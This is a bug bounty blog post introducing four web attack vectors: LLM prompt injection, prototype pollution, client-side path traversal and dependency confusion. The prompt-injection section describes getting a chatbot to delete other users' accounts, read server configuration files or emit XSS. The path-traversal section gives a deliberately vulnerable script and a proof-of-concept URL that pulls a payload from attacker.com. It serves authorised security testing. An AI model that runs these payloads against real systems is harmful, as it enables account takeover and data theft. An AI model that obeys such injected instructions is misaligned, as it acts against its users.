Top 4 new attack vectors in web application targets

BY BLACKBIRD-EU · OCTOBER 29, 2024 · LAST UPDATED ON MARCH 6, 2025

We all like to find vulnerabilities in bug bounty programs, they get us bounties, increase our ranks on platform leaderboards and help us stay motivated to look for more of them. If you've been doing bug bounty for a while, your methodology will focus on finding an edge so that you can spot more vulnerabilities. And that's often with performing better recon and expanding your attack surface.

However, there's another way to increase your chances of finding vulnerabilities, and that's looking for vulnerabilities that are often overlooked by others, such as new attack vectors. These new attack vectors often provide you with an edge over other active bug bounty hunters on the same program.

In this article, we will focus on 4 new attack vectors and vulnerability types that you can start looking for to help increase your chances of finding a vulnerability on your next bug bounty target.

Let's dive in!

1) LLM prompt injection attacks

LLM prompt injections are a relatively new vulnerability class. Most companies integrate their current products with LLM Models (such as chatbots) to help increase the productivity of their customers for example. Other companies are built solely on Artificial Intelligence and it forms their core product or offering.

With these new AI features, several new attack surfaces arise. One that we will discuss in this article is LLM prompt injection vulnerabilities. These vulnerabilities can result in a wide range of security issues such as sensitive data exposure and execution of unwanted actions.

LLM Models are set up to parse incoming user prompts and perform actions based on each prompt. If the deployed Model has too permissive controls or incorrectly enforces access controls, malicious users could potentially instruct the LLM Model to perform unwanted actions for them.

An example would be a prompt like "delete user account" that is linked to an API call or database query that would delete the requested user account. If a malicious user can trick the LLM Model to also specify an email (or other account identifier) with the database query or API call, he/she can essentially delete other customer accounts.

Another example would be to instruct the LLM Model to read sensitive configuration files on the server and return the output. Or explicitly making it return a malicious output to achieve XSS for example.

If you come across a virtual assistant, chatbot or any other interface that accepts natural language, make sure to test its boundaries and try to get it to perform unwanted actions that fall outside of its main use case.

2) Prototype pollution

Prototype pollution is a JavaScript vulnerability where an attacker manipulates an object's prototype chain to inject or modify properties that affect other objects in the application. This usually originates from unsafe merging or cloning of objects with attacker-controllable data.

This vulnerability is often missed because of its complexity and it usually needs a chain or gadget to be exploitable in a real-world scenario. Not to mention that it also needs a high-level understanding of JavaScript to further escalate it, find a way to make it exploitable and prove its impact.

Prototype pollution vulnerabilities can often be escalated to DOM-based cross-site scripting vulnerabilities when these are discovered on the client side. Server-side prototype pollution vulnerabilities are much harder to detect and exploit but can often be **escalated to remote code execution!**

If you want to learn more about prototype pollution, we recommend you to go through Portswigger Academy labs:

https://portswigger.net/web-security/prototype-pollution

TIP! If you want to further master prototype pollution vulnerabilities, check out our monthly challenges often featuring all sorts of DOM-based vulnerabilities!

3) Client-side path traversals

Client-side path traversal vulnerabilities are not a new vulnerability class but they are definitely on the rise as more and more companies make use of javascript frameworks.

The root cause of these types of issues is mainly because of unfiltered arbitrary user input getting injected in a client-side HTTP request path. These types of traversal vulnerabilities are similar to server-side path traversals, except they can solely impact the client.

Most of these issues are not a vulnerability on their own and usually need to be chained with another vulnerability (such as CRLF injection, open URL redirect, content injection, ...) for them to be escalated to CSRF and XSS.

Let's take a look at a vulnerable example:

```
const id = (new URLSearchParams(location.search)).get("id");
if (id) {
  let item = null;

  // API endpoint returns requested item data
  fetch("/api/items/" + id, {
    method: "GET"
  })
  .then(async (res) => {
    item = await res.json();
    parseItem(item);
  })
  .catch((error) => {
    item = null;
    console.error("ERROR! Failed to fetch item!", error);
  });
};

function parseItem(item) {
  // Dynamically parse & process the requested item
  document.getElementById("title").innerHTML = item.title;
  document.getElementById("url").href = item.url;
};
```

This code snippet checks if an `id` query parameter is set and injects it in the request path of the fetch function without performing any type of validation.

We as an attacker can try to escalate this simple path traversal issue into a DOM-based XSS by loading our own malicious JSON file and we have multiple options to do so, we can:

- Use an existing open URL redirect
- Use an existing endpoint with content injection
- Or we can upload our own JSON file (if the target supports uploading files and documents)

This is how a proof of concept would look like leveraging an open URL redirect vulnerability:

```
https://app.example.com/items/view?id=../../auth/signin?redirect_to=https%3A%2F%2Fattacker.com%2Fxss.json
```

This would essentially pull our malicious file from our server instead and it would allow us to populate the "title" and "url" properties (in the `xss.json` file) to achieve DOM-based XSS!

4) Dependency confusion

Dependency confusion vulnerabilities are vulnerabilities that target the software supply chain, this allows attackers to include malicious code into the project, often resulting in remote code execution.

It originates from conflicting package names and misconfigured build settings and as a result, the build script would pull the malicious (attacker-published) package instead of the trusted internal or local package.

Most bug bounty hunters do not look for dependency confusion vulnerabilities or when they do, they run automated tools that sometimes fail to find build files (such as package.JSON files for NodeJS projects).

If you like a high-level overview of dependency confusion vulnerabilities, we recommend this awesome article by @alxbrsn:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Conclusion

You should always stay on top of new attack vectors. In this article, we've covered just a couple of examples of fairly new vulnerability types that can have a huge impact on your target. Always staying on top of the latest attack techniques provides you with an edge over other hunters too, and this can easily help you find more vulnerabilities!

If you're looking for a new target to hunt and try out these new attack vectors, check out our existing public programs, and who knows, maybe you'll earn your next bounty with us!

https://intigriti.com/programs